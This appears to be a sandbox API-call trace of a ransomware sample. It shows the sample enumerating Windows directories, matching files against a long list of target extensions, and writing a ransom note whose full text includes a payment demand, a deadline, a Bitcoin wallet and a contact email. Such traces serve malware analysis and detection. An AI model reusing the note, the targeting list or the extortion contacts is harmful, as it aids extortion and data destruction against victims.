(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.raw") returned 0 [0103.438] lstrlenA (lpString="*.raw") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.nef") returned 0 [0103.438] lstrlenA (lpString="*.nef") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.svg") returned 0 [0103.438] lstrlenA (lpString="*.svg") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.psd") returned 0 [0103.438] lstrlenA (lpString="*.psd") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vmx") returned 0 [0103.438] lstrlenA (lpString="*.vmx") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vmdk") returned 0 [0103.438] lstrlenA (lpString="*.vmdk") returned 6 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.vdi") returned 0 [0103.438] lstrlenA (lpString="*.vdi") returned 5 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.lay6") returned 0 [0103.438] lstrlenA (lpString="*.lay6") returned 6 [0103.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mpeg") returned 0 [0103.438] lstrlenA (lpString="*.mpeg") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.djvu") returned 0 [0103.439] lstrlenA (lpString="*.djvu") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tiff") returned 0 [0103.439] lstrlenA (lpString="*.tiff") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.backup") returned 0 [0103.439] lstrlenA (lpString="*.backup") returned 8 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pdf") returned 0 [0103.439] lstrlenA (lpString="*.pdf") returned 5 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.cert") returned 0 [0103.439] lstrlenA (lpString="*.cert") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.docm") returned 0 [0103.439] lstrlenA (lpString="*.docm") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xlsm") returned 0 [0103.439] lstrlenA (lpString="*.xlsm") returned 6 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dwg") returned 0 [0103.439] lstrlenA (lpString="*.dwg") returned 5 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.nd") returned 0 [0103.439] lstrlenA (lpString="*.nd") returned 4 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.tlg") returned 0 [0103.439] lstrlenA (lpString="*.tlg") returned 5 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.lgb") returned 0 [0103.439] lstrlenA (lpString="*.lgb") returned 5 [0103.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mov") returned 0 [0103.439] lstrlenA (lpString="*.mov") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.xdw") returned 0 [0103.440] lstrlenA (lpString="*.xdw") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ods") returned 0 [0103.440] lstrlenA (lpString="*.ods") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.wav") returned 0 [0103.440] lstrlenA (lpString="*.wav") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mp3") returned 0 [0103.440] lstrlenA (lpString="*.mp3") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.aiff") returned 0 [0103.440] lstrlenA (lpString="*.aiff") returned 6 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.flac") returned 0 [0103.440] lstrlenA (lpString="*.flac") returned 6 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.m4a") returned 0 [0103.440] lstrlenA (lpString="*.m4a") returned 5 [0103.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\0a5d39e601d2512b483a56408c3cec05\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.csv") returned 0 [0103.440] lstrlenA (lpString="*.csv") returned 5 [0103.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d59bbe6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d59bbe6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d59bbe6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.440] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.440] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e07805a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="90cd177df2fc13d88c401b6b53a121b8", cAlternateFileName="90CD17~1")) returned 1 [0103.441] lstrcmpA (lpString1=".", lpString2="90cd177df2fc13d88c401b6b53a121b8") returned -1 [0103.441] lstrcmpA (lpString1="..", lpString2="90cd177df2fc13d88c401b6b53a121b8") returned -1 [0103.441] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.441] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="90cd177df2fc13d88c401b6b53a121b8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8" [0103.441] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8") returned 100 [0103.441] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e07805a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.443] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e07805a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.443] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.443] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e005c39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e005c39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e005c39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.443] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.443] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0103.443] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0103.443] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0103.443] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\*.*") returned="*.*" [0103.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\" [0103.443] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\") returned="" [0103.443] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\HOW TO DECRYPT FILES.txt" [0103.443] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\90cd177df2fc13d88c401b6b53a121b8\\how to decrypt files.txt")) returned 0xffffffff [0103.443] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\90cd177df2fc13d88c401b6b53a121b8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.446] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.446] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.448] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.448] CloseHandle (hObject=0x90) returned 1 [0103.448] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll" [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ems") returned 0 [0103.448] lstrlenA (lpString="*.ems") returned 5 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.db") returned 0 [0103.448] lstrlenA (lpString="*.db") returned 4 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dbf") returned 0 [0103.448] lstrlenA (lpString="*.dbf") returned 5 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.myox") returned 0 [0103.448] lstrlenA (lpString="*.myox") returned 6 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.myo") returned 0 [0103.448] lstrlenA (lpString="*.myo") returned 5 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbw") returned 0 [0103.448] lstrlenA (lpString="*.qbw") returned 5 [0103.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbb") returned 0 [0103.448] lstrlenA (lpString="*.qbb") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbm") returned 0 [0103.449] lstrlenA (lpString="*.qbm") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbo") returned 0 [0103.449] lstrlenA (lpString="*.qbo") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbx") returned 0 [0103.449] lstrlenA (lpString="*.qbx") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qba") returned 0 [0103.449] lstrlenA (lpString="*.qba") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qby") returned 0 [0103.449] lstrlenA (lpString="*.qby") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbj") returned 0 [0103.449] lstrlenA (lpString="*.qbj") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ofx") returned 0 [0103.449] lstrlenA (lpString="*.ofx") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qif") returned 0 [0103.449] lstrlenA (lpString="*.qif") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mye") returned 0 [0103.449] lstrlenA (lpString="*.mye") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mbox") returned 0 [0103.449] lstrlenA (lpString="*.mbox") returned 6 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.eml") returned 0 [0103.449] lstrlenA (lpString="*.eml") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pst") returned 0 [0103.449] lstrlenA (lpString="*.pst") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ost") returned 0 [0103.449] lstrlenA (lpString="*.ost") returned 5 [0103.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.idx") returned 0 [0103.450] lstrlenA (lpString="*.idx") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dbx") returned 0 [0103.450] lstrlenA (lpString="*.dbx") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.sql") returned 0 [0103.450] lstrlenA (lpString="*.sql") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mdb") returned 0 [0103.450] lstrlenA (lpString="*.mdb") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.fdb") returned 0 [0103.450] lstrlenA (lpString="*.fdb") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.wab") returned 0 [0103.450] lstrlenA (lpString="*.wab") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dat") returned 0 [0103.450] lstrlenA (lpString="*.dat") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.txt") returned 0 [0103.450] lstrlenA (lpString="*.txt") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.jpeg") returned 0 [0103.450] lstrlenA (lpString="*.jpeg") returned 6 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.jpg") returned 0 [0103.450] lstrlenA (lpString="*.jpg") returned 5 [0103.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.png") returned 0 